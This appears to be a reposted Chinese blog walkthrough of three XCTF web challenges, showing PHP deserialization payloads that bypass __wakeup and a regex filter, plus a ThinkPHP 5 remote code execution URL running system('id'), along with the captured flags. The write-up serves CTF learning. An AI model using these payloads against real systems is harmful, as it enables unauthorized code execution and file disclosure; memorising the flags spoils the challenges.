攻防世界WEB高手进阶区unserialize3,Web_php_unserialize,php_rce

本文阅读 3 分钟
首页 安全分享,WEB安全 正文

目录

unserialize3

题目介绍

解题思路

访问靶场

进行反序列化

反序列化结果

__wakeup()函数绕过

传参 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

找到flag

Web_php_unserialize

题目介绍

解题思路

访问靶场

进行绕过

传参

找到flag

php_rce

题目介绍

解题思路

访问靶场

去GitHub上寻找payload

对每个payload进行尝试

查看目录

寻找root目录

find寻找与flag相关的

读取/flag

找到flag

题目介绍

img

解题思路

访问靶场

img

进行反序列化

在线反序列化网址: PHP在线运行工具|代码在线运行工具

img

<?php

class xctf{                      //定义一个名为xctf的类

public $flag = '111';            //定义一个公有的类属性$flag,值为111

public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本

exit('bad requests');

}

}

$test = new xctf();           //使用new运算符来实例化该类(xctf)的对象为test

echo(serialize($test));       //输出被序列化的对象(test)

?>

反序列化结果

 O:4:"xctf":1:{s:4:"flag";s:3:"111";}

__wakeup()函数绕过

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点

传参 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

只要不是数字1就行

img

找到flag

cyberpeace{6823313acdbad31f95fd22bec1fdefe6}

题目介绍

img

解题思路

访问靶场

img

根据代码我们知道对var传参会进行base64_decode(解码)

解码后会进行正则匹配将字母o和c进行过滤

过滤后在对var传参进行反序列化

进行绕过

需要通过反序列化绕过__wakeup函数以及绕过正则匹配进行base64加密

img

<?php

class Demo {

    private $file = 'index.php';

    public function __construct($file) {

        $this->file = $file;

    }

    function __destruct() {

        echo @highlight_file($this->file, true);

    }

    function __wakeup() {

        if ($this->file != 'index.php') {

            //the secret is in the fl4g.php

            $this->file = 'index.php';

        }

    }

}

$A = new Demo ('fl4g.php'); //创建对象

$C = serialize($A);                     //对对象A进行序列化

$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤

$C = str_replace(':1:',':2:',$C); //wakeup绕过

var_dump($C);

var_dump(base64_encode($C));            //base64加密



?>

传参

img

找到flag

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

题目介绍

img

解题思路

访问靶场

img

去GitHub上寻找payload

img

img

对每个payload进行尝试

使用到第六个

[?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id](http://localhost/thinkphp_5.0.21/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=id)

img

查看目录

img

寻找root目录

img

find寻找与flag相关的

img

读取/flag

img

找到flag

flag{thinkphp5_rce}

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/m0_63127854/article/details/125174446
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复